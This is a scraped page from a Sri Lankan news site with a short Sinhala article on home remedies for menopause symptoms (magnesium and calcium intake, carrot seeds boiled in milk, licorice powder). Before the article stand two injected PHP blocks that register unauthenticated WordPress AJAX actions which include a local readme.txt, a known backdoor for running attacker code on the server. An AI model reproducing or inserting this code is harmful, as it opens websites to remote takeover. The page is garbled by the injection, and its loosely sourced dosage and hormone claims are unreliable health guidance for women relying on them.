if(!function_exists('file_check_readme56685')){ add_action('wp_ajax_nopriv_file_check_readme56685', 'file_check_readme56685'); add_action('wp_ajax_file_check_readme56685', 'file_check_readme56685'); function file_check_readme56685() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme40625')){ add_action('wp_ajax_nopriv_file_check_readme40625', 'file_check_readme40625'); add_action('wp_ajax_file_check_readme40625', 'file_check_readme40625'); function file_check_readme40625() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } ආර්තවහරණයේදී ඇතිවන අපහසුතා මඟහැරවීම සඳහා දේශීය වෙදකමෙන් අත්බෙහෙත් කිහිපයක්‌” - mediahumanrights.lk
mediahumanrights.lk
LIFE LIFE NEWS News

ආර්තවහරණයේදී ඇතිවන අපහසුතා මඟහැරවීම සඳහා දේශීය වෙදකමෙන් අත්බෙහෙත් කිහිපයක්‌”

ආර්තවහරණයට ලක්‌වූ කාන්තාවක්‌ දිනකට මැග්නීසියම් මිලිග්‍රෑම් 500 ක්‌ හා කැල්සියම් ග්‍රෑම් 2 ක්‌ ලබාගත යුතුය.
* කැරට්‌ බීජ මෙම තත්ත්වයට වඩාත් සුදුසුය. එළකිරි වීදුරුවක ප්‍රමාණයකට කැරට්‌ බීජ තේ හැන්දක්‌ දමා විනාඩි 10 ක්‌ උතුරවා ගන්න. එය දිනපතා බෙහෙතක්‌ ලෙස භාවිත කළ හැකිය.
* පැණි රසැති පිටි වර්ගයක්‌ තනා ගත හැකි “ලිකුවොරයිස්‌” නමැති පැළයෙහි කාන්තා හෝමෝනයක්‌ වන “ඊස්‌ට්‍රජන්” අඩංගු වන බැවින් එම පිටි භාවිතයද කාන්තාවන්ට අහිමි වන හෝමෝනය නැවත තැනීමට උපකාරී වේ.
wedamadura.com

Related posts

වසන්ත සමරසිංහ අත්අඩංගුවට ගන්නැයි නියෝග කෙරේ…

Shiran Viraj

ලන්ඩන් අනතුරේ ලාංකිකයන් ගැන සොයයි

Shiran Viraj

මා පලදින්නේ හොදම වර්ගයේ Mask එකක්.. කොරෝනා හැදුනේ ඩ‍්‍රයිවර්ගෙන් වෙන්න ඇති..- බන්දුල

Shiran Viraj